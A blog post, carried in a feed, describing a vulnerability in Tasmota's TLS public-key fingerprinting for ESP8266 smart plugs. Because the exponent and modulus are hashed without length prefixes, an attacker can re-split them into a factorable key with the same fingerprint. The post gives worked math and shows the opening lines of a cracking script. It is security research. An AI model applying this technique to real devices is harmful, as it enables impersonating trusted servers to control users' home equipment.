rya.nchttps://rya.nc/2025-10-04T11:34:00+01:00[witty tagline]Plugin Secure: Exploiting Ambiguous Serialization2025-10-04T11:34:00+01:002025-10-04T11:34:00+01:00ryanctag:rya.nc,2025-10-04:/plugin-secure.html <p>For an embedded device, TLS certificate validation presents some unique challenges. The obvious problem is the limited processing power, but the real issue is that a typical root CA bundle is well over 100KB and there may not be enough storage available for it. One possible workaround is simply authenticating the server’s public key based on a hash, similar to how SSH works. While there are some drawbacks, this is secure if implemented <em>correctly</em>. If not… well, that’s where I come in.</p> <!-- included from `include/globals.rst` --> <p><em>Note: This post was written in August 2020, but I got stuck on how to finish it. I&rsquo;m now publishing it as-is so it doesn&rsquo;t languish in &lsquo;drafts&rsquo; forever.</em></p> <p>For an embedded device, TLS certificate validation presents some unique challenges. The obvious problem is the limited processing power, but the real issue is that a typical root CA bundle is well over 100KB and there may not be enough storage available for it. One possible workaround is simply authenticating the server&rsquo;s public key based on a hash, similar to how SSH works. While there are some drawbacks, this is secure if implemented <em>correctly</em>. If not&hellip; well, that&rsquo;s where I come in.</p> <p>Smart home devices and automation have interested me for a long time. In the mid 2000s, I got some cheap X10 modules to experiment with. They worked. Kind of. Usually. You could control them with a computer with a serial module that brought RF communications into the mix for no good reason. The poor reliability and difficulty setting these devices up kept them from ever getting significant adoption. A lot has changed in 20 years.</p> <p>The <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FESP8266">ESP8266</a> WiFi chip entered production December 30<sup>th</sup> 2013. It was intended to provide internet connectivity to other microcontrollers. Though it only cost a few dollars, it was actually a very capable platform all by itself. By the end of 2014, SDKs were available to run software on it directly. Cheap WiFi-enabled modules based on the ESP8266, such as the ESP-01, helped fuel the &ldquo;internet of things&rdquo;.</p> <p>Reactions to the popularity of mass market smart home devices have been&hellip; mixed.</p> <blockquote> <p><strong>Tech Enthusiasts:</strong> Everything in my house is wired to the Internet of Things! I control it all from my smartphone! My smart-house is bluetooth enabled and I can give it voice commands via alexa! I love the future!</p> <p><strong>Programmers / Engineers:</strong> The most recent piece of technology I own is a printer from 2004 and I keep a loaded gun ready to shoot it if it ever makes an unexpected noise.</p> <p class="attribution">&mdash;<a class="external" href="proxy.php?url=https%3A%2F%2Fbiggaybunny.tumblr.com%2Fpost%2F166787080920%2Ftech-enthusiasts-everything-in-my-house-is-wired">biggaybunny</a></p> </blockquote> <p>I&rsquo;ve avoided these products because they generally rely on cloud services. While a hosted model makes sense for most people, it gives the vendor access to a lot of data, which they may sell, leave in an unsecured AWS S3 bucket or otherwise distribute. On top of that, there have been a number of instances of companies abruptly shutting down their servers, leaving the devices depending on them useless. Having &ldquo;LAN-only&rdquo; operation as an option is considered a niche feature and is generally priced accordingly.</p> <p>In 2020, I bought a WiFi-enabled air purifier. I hadn&rsquo;t planned to connect it to my network, but then I discovered someone had published code to use it without the cloud service. Once I got that working, I wanted more.</p> <p>My research turned up a number of cheap WiFi-enabled devices using the ESP8266, and someone&rsquo;d already done the hard work of figuring out how to reflash them without disassembly<a class="footnote-reference" href="#id5">[1]</a><a id="id1"></a>. Not only that, but there were several seemingly well maintained options for open source firmware including <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.letscontrolit.com%2Fwiki%2Findex.php%2FESPEasy">ESPeasy</a>, <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fxoseperez%2Fespurna">ESPurna</a>, <a class="external" href="proxy.php?url=https%3A%2F%2Ftasmota.github.io%2Fdocs%2F">Tasmota</a>, and <a class="external" href="proxy.php?url=https%3A%2F%2Fesphome.io%2F">ESPhome</a>. The documentation for Tasmota seemed quite good and included lots of details on supported devices. I wanted to be able to control power to a few appliances, and eventually settled on the <a class="external" href="proxy.php?url=https%3A%2F%2Ftemplates.blakadder.com%2Faoycocr_U3S.html">Aoycocr U3S</a>. It looked well supported and Amazon had them in stock. A few days later they arrived and I was able to flash them without a hitch.</p> <p>Tasmota is intended to be used with an MQTT broker. Perusing the documentation, I saw that there was even support for TLS. Being the sort of person to run transport-mode IPSec on their home network<a class="footnote-reference" href="#id6">[2]</a><a id="id2"></a>, I <strong>had</strong> to use TLS. The default builds don&rsquo;t include TLS support because of code size constraints, but it&rsquo;s available as a compile time option. Validation can be done using either the standard CA-based approach, or using public key fingerprints. For convenience, the server can be automatically trusted on first use, with the fingerprint stored for future connections.</p> <p>The documentation for this feature got my attention (emphasis mine):</p> <blockquote> The fingerprint is now calculated on the server&rsquo;s Public Key and no longer on its Certificate. The good news is that Public Keys tend to change far less often than certificates, i.e. LetsEncrypt triggers a certificate renewal every 3 months, the Public Key fingerprint will not change after a certificate renewal. The bad news is that <strong>there is no openssl command to retrieve the server&rsquo;s Public Key fingerprint</strong>, although <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fissacg%2Ftasmota-fingerprint">a tool exists to calculate it</a> from your certificate.</blockquote> <p>I took a look at the fingerprint code.</p> <div class="highlight"><table class="highlighttable"><caption><a href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fblob%2F1d68fe9bc6e770f0f3ac590b98cfcadfe410a52e%2Ftasmota%2FWiFiClientSecureLightBearSSL.cpp%23L698-L703" id="WiFiClientSecureLightBearSSL-cpp">WiFiClientSecureLightBearSSL.cpp</a></caption><tbody><tr><td class="linenos">698</td><td> <code>&lt;span class="pgcssk"&gt;static&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;void&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnf"&gt;pubkeyfingerprint_pubkey_fingerprint&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;br_sha1_context&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssn"&gt;shactx&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_rsa_public_key&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;rsakey&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td class="linenos">699</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_sha1_init&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;shactx&lt;/span&gt;&lt;span class="pgcssp"&gt;);&lt;/span&gt;</code> </td></tr><tr><td class="linenos">700</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_sha1_update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;shactx&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss"&gt;&amp;quot;ssh-rsa&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmi"&gt;7&lt;/span&gt;&lt;span class="pgcssp"&gt;);&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssc1"&gt;// tag&lt;/span&gt;</code> </td></tr><tr><td class="linenos">701</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_sha1_update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;shactx&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;rsakey&lt;/span&gt;&lt;span class="pgcssp"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;rsakey&lt;/span&gt;&lt;span class="pgcssp"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;elen&lt;/span&gt;&lt;span class="pgcssp"&gt;);&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssc1"&gt;// exponent&lt;/span&gt;</code> </td></tr><tr><td class="linenos">702</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_sha1_update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;shactx&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;rsakey&lt;/span&gt;&lt;span class="pgcssp"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;rsakey&lt;/span&gt;&lt;span class="pgcssp"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;nlen&lt;/span&gt;&lt;span class="pgcssp"&gt;);&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssc1"&gt;// modulus&lt;/span&gt;</code> </td></tr><tr><td class="linenos">703</td><td> <code>&lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>While <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSHA-1%23SHAttered_%25E2%2580%2593_first_public_collision">SHA-1 is vulnerable to collision attacks</a>, it&rsquo;s still secure against <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FPreimage_attack">preimage attacks</a> which generate data matching a specific hash.</p> <p>This scheme was obviously based on the one used by OpenSSH. It&rsquo;s key serialization format is specified in <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4253.html%23page-15">RFC 4253</a> as</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">&nbsp;</td><td> <code>string &amp;quot;ssh-rsa&amp;quot;</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code>mpint e</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code>mpint n</code> </td></tr></tbody></table></div> <p>The meaning of the <code>string</code> and <code>mpint</code> types isn&rsquo;t actually defined in RFC 4253 &mdash; that&rsquo;s covered in <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4251.html%23page-9">RFC 4251</a>. The important thing to note is that they are both prefixed by their lengths.</p> <p>So, what&rsquo;s in the <code>br_rsa_public_key</code> struct?</p> <div class="highlight"><table class="highlighttable"><caption><a href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fblob%2F1d68fe9bc6e770f0f3ac590b98cfcadfe410a52e%2Flib%2Fbearssl-esp8266%2Fsrc%2Ft_bearssl_rsa.h%23L155-L171" id="t-bearssl-rsa-h">t_bearssl_rsa.h</a></caption><tbody><tr><td class="linenos">155</td><td> <code>&lt;span class="pgcsscm"&gt;/**&lt;/span&gt;</code> </td></tr><tr><td class="linenos">156</td><td> <code>&lt;span class="pgcsscm"&gt; * \brief RSA public key.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">157</td><td> <code>&lt;span class="pgcsscm"&gt; *&lt;/span&gt;</code> </td></tr><tr><td class="linenos">158</td><td> <code>&lt;span class="pgcsscm"&gt; * The structure references the modulus and the public exponent. Both&lt;/span&gt;</code> </td></tr><tr><td class="linenos">159</td><td> <code>&lt;span class="pgcsscm"&gt; * integers use unsigned big-endian representation; extra leading bytes&lt;/span&gt;</code> </td></tr><tr><td class="linenos">160</td><td> <code>&lt;span class="pgcsscm"&gt; * of value 0 are allowed.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">161</td><td> <code>&lt;span class="pgcsscm"&gt; */&lt;/span&gt;</code> </td></tr><tr><td class="linenos">162</td><td> <code>&lt;span class="pgcssk"&gt;typedef&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssk"&gt;struct&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td class="linenos">163</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsscm"&gt;/** \brief Modulus. */&lt;/span&gt;</code> </td></tr><tr><td class="linenos">164</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;unsigned&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;char&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">165</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsscm"&gt;/** \brief Modulus length (in bytes). */&lt;/span&gt;</code> </td></tr><tr><td class="linenos">166</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;size_t&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;nlen&lt;/span&gt;&lt;span class="pgcssp"&gt;;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">167</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsscm"&gt;/** \brief Public exponent. */&lt;/span&gt;</code> </td></tr><tr><td class="linenos">168</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;unsigned&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;char&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsso"&gt;*&lt;/span&gt;&lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">169</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsscm"&gt;/** \brief Public exponent length (in bytes). */&lt;/span&gt;</code> </td></tr><tr><td class="linenos">170</td><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsskt"&gt;size_t&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;elen&lt;/span&gt;&lt;span class="pgcssp"&gt;;&lt;/span&gt;</code> </td></tr><tr><td class="linenos">171</td><td> <code>&lt;span class="pgcssp"&gt;}&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssn"&gt;br_rsa_public_key&lt;/span&gt;&lt;span class="pgcssp"&gt;;&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>So, the fingerprint is the SHA-1 hash of the literal string &ldquo;ssh-rsa&rdquo;, the public exponent, and the modulus all concatenated together. No length prefixes or separators. I immediately suspected it was exploitable. Since the size of the public exponent and modulus aren&rsquo;t fixed, the input to the hash function is ambiguous. To illustrate in Python:</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcssc1"&gt;# SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;hash_concatenated&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;words&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code> &lt;span class="pgcssn"&gt;sha&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hashlib&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sha256&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;word&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;words&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">7</td><td> <code> &lt;span class="pgcssn"&gt;sha&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;update&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;word&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;encode&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> </td></tr><tr><td class="linenos">9</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;sha&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;hexdigest&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> </td></tr><tr><td class="linenos">11</td><td> <code>&lt;span class="pgcssn"&gt;A&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hash_concatenated&lt;/span&gt;&lt;span class="pgcssp"&gt;([&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;plugin&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;secure&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code>&lt;span class="pgcssn"&gt;B&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;hash_concatenated&lt;/span&gt;&lt;span class="pgcssp"&gt;([&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;plug&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcsss1"&gt;&amp;#39;insecure&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> </td></tr><tr><td class="linenos">14</td><td> <code>&lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;A&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssn"&gt;B&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssc1"&gt;# True&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>Relevant XKCD:</p> <div style="display:flex;align-items:center;flex-direction:column;padding:0 16px"> <a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F37%2F" style="width:100%"><img alt="Headline: My hobby: whenever calls something an [adjective]-ass [noun], I mentally move the hyphen one word to the right. One man is talking to another about a car that resembles a Volkswagen Beetle. Man: Man, that&rsquo;s a sweet ass-car." src="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fxkcd-0037-hyphen.img" style="height:auto;width:100%" title="XKCD - Hyphen"></a> <footer style="font-size:smaller"> <a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2F37%2F">Hyphen</a> by <a href="proxy.php?url=https%3A%2F%2Fxkcd.com%2Fabout%2F">Randall Monroe</a> used under <a href="proxy.php?url=https%3A%2F%2Fcreativecommons.org%2Flicenses%2Fby-nc%2F2.5%2F">CC BY-NC 2.5</a> </footer> </div><p>As used in TLS, RSA keys commonly use <span class="formula"><i>e</i> = 65537</span> as their public exponent with <span class="formula"><i>n</i> = <i>pq</i></span> as their modulus where <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span> are random prime numbers several hundred decimal digits long. With <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>, the private exponent <span class="formula"><i>d</i></span> can be calculated as the <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FModular_multiplicative_inverse">modular multiplicative inverse</a> of <span class="formula"><i>e</i></span> with respect to <span class="formula">(<i>p</i> &minus; 1)(<i>q</i> &minus; 1)</span>.</p> <p>If the original public key was <span class="formula"><i>e</i> = 17, <i>n</i> = 279581516717</span>, then it would concatenate to <span class="formula">17279581516717</span>. From this, colliding candidate public keys can be created my splitting the digits in different places. Maybe one of them will be easy to crack?</p> <p><span class="formula"><i>e</i> = 172, <i>n</i> = 79581516717</span> &mdash; Can&rsquo;t use this because <span class="formula"><i>e</i></span> is even.</p> <p><span class="formula"><i>e</i> = 1727, <i>n</i> = 9581516717</span> &mdash; No luck here, <span class="formula"><i>n</i></span> is prime.</p> <p><span class="formula"><i>e</i> = 17279, <i>n</i> = 581516717</span> &mdash; Trivial to factor! <span class="formula"><i>n</i> = 19&sdot;30606143</span></p> <p>Now <span class="formula"><i>d</i></span> can be calculated.</p> <p><span class="formula"><i>&phi;</i>(<i>n</i>) = (19 &minus; 1) &sdot; (30606143 &minus; 1)</span></p> <p><span class="formula"><i>&phi;</i>(<i>n</i>) = 18 &sdot; 30606142</span></p> <p><span class="formula"><i>&phi;</i>(<i>n</i>) = 550910556</span></p> <p><span class="formula"><i>d</i> = <span class="text">invert</span>(17279, 550910556)</span></p> <p><span class="formula"><i>d</i> = 480193523</span></p> <p>In TLS, however, the numbers will be a lot bigger &mdash; typically <span class="formula"><i>e</i></span> 65537 and <span class="formula"><i>n</i></span> is a 2048 bit (617 decimal digit) <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSemiprime">semiprime</a>. Implementations vary in the ranges of values they will accept in RSA keys, and the attack will be constrained by those limits. Tasmota uses <a class="external" href="proxy.php?url=https%3A%2F%2Fbearssl.org%2F">BearSSL</a><a class="footnote-reference" href="#id7">[3]</a><a id="id3"></a>, so that will be the focus for a moment. Per the documentation, by default BearSSL will accept RSA keys with a modulus at least 128 bytes long &mdash; that&rsquo;s 1017 bits (307 decimal digits). A lot of libraries limit the public exponent to a 32 or 64 bit value &mdash; what about BearSSL?</p> <p>The source code holds the answer:</p> <blockquote> The X.509 &ldquo;minimal&rdquo; engine <strong>will tolerate public exponents of arbitrary size</strong> as long as the modulus and the exponent can fit together in the dedicated buffer.</blockquote> <p>If exponents can be arbitrarily large, that means for a 2048 bit key with the standard <span class="formula"><i>e</i></span> value, there are theoretically 128 alternate places where <span class="formula"><i>e</i></span> and <span class="formula"><i>n</i></span> can be split. In practice, there are some further restrictions that come into play. The biggest one that immediately rules out about half of the options is the need for <span class="formula"><i>e</i></span> to be odd. Another issue is that BearSSL always encodes <span class="formula"><i>n</i></span> without leading zero bytes, so the first byte after the split must be nonzero.</p> <p>Even with the splitting, the number to be factored is still quite large. I&rsquo;ve previously done some research that involved factoring semiprimes used in RSA, but anything much beyond 512 bits (155 decimal digits) requires more computational resources than I have access to. For a 1024 bit semiprime, the cost to factor is probably on the order of $10M USD. In this case, however, the number is effectively random and has a reasonable chance of having some small factors.</p> <p>Although RSA private keys normally use two primes, the math still works with <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html">three or more</a>. I initially assumed that would require too much effort to implement. I&rsquo;ve gotten <a class="external" href="proxy.php?url=https%3A%2F%2Fcrypto.stackexchange.com%2Fa%2F1449">textbook RSA</a> working with it before, but I doubted I&rsquo;d be able to hack a TLS library into using it. Instead, I tried to go the lazy route. My initial strategy was to simply send the new <span class="formula"><i>n</i></span> value to <a class="external" href="proxy.php?url=http%3A%2F%2Ffactordb.com%2F">factordb</a> and try to construct an RSA key with composite values for <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>. This did not work, even when the resulting <span class="formula"><i>&phi;</i>(<i>n</i>)</span> was coprime to <span class="formula"><i>e</i></span>. To be honest, I don&rsquo;t understand the math well enough to explain why. I almost gave up at that point, but I <em>really</em> wanted to find a way to pull off the attack. Instead, I complained to some friends in a chat room:</p> <blockquote> <p>RyanC: I&rsquo;m trying to write an exploit for something, and it needs to use RSA with a modulus that has more than two factors.</p> <p>RyanC: I thought that this could be made to work by just using composite p and q.</p> <p>RyanC: that, however, does not work with openssl</p> <p>RyanC: is this just openssl&rsquo;s optimizations shooting me in the foot, or does this actually not work?</p> <p>RyanC: I don&rsquo;t really want to build a hacked TLS lib that does multiprime rsa</p> </blockquote> <p>Within a few minutes, someone responded pointing out that Go&rsquo;s standard cryptography library actually did support this, and then another mentioned there&rsquo;s a standardized format for it. Some further digging revealed that OpenSSL can also handle multi-prime RSA as of version 1.1.1. All I had to do was find a full prime factorization and get the key in the right format.</p> <p>Creating a properly formatted key was the easy part. In previous projects where I&rsquo;ve done <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">ill-advised things with RSA keys</a> I&rsquo;ve used the <code>RSA.construct</code> method of <a class="external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2F">PyCryptodome</a><a class="footnote-reference" href="#id8">[4]</a><a id="id4"></a>, but that only supports the standard two prime version. There don&rsquo;t seem to be any libraries available that handle the multi-prime case, so I had to <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html">write my own</a>.</p> <p>Actually doing the factorization was a bit harder. This particular bug provides a few dozen possible values to try to factor, so an algorithm that can probabilistically find factors up to a few dozen digits long quickly would be ideal. <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLenstra_elliptic-curve_factorization">Lenstra elliptic-curve factorization</a> (also known as the &ldquo;elliptic-curve factorization method&rdquo;, or &ldquo;ECM&rdquo; for short) is such an algorithm, and the GMP-ECM implementation of it is packaged for many Linux distributions. The details of how it works aren&rsquo;t important, though I found a <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.mersenneforum.org%2Fshowpost.php%3Fp%3D480592%26amp%3Bamp%3Bpostcount%3D1">forum post</a> that tries to explain it with an analogy. The most important point is that when running it, one needs to choose a value <span class="formula"><i>B</i>1</span> which corresponds to a vague range of values to search, and then run a bunch of randomized trials. The larger the range, the more trials needed to be confident there are no factors to be found there.</p> <p>I had some issues with ECM when testing. The factors returned by it aren&rsquo;t necessarily prime, so they may require further breakdown. If all of the factors of a number were too small, this sometimes wouldn&rsquo;t work. I had to add code to avoid this problem by starting out with a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTrial_division">trial division</a> pass, and feeding any composites of 30 digits or less to the <code>factor</code> utility that comes installed by default on most Linux systems.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fattach%2Fcrack_split_rsa.sage" id="crack-split-rsa-sage">crack_split_rsa.sage</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcssc1"&gt;# Tested with the version of Sage available for Ubuntu 20.04&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;json&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> </td></tr><tr><td class="linenos">6</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;sage.all&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt;</code> </td></tr><tr><td class="linenos">7</td><td> </td></tr><tr><td class="linenos">8</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;binascii&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;unhexlify&lt;/span&gt;</code> </td></tr><tr><td class="linenos">9</td><td> </td></tr><tr><td class="linenos">10</td><td> <code>&lt;span class="pgcssk"&gt;class&lt;/span&gt; &lt;span class="pgcssnc"&gt;Unbuffered&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;object&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">11</td><td> <code> &lt;span 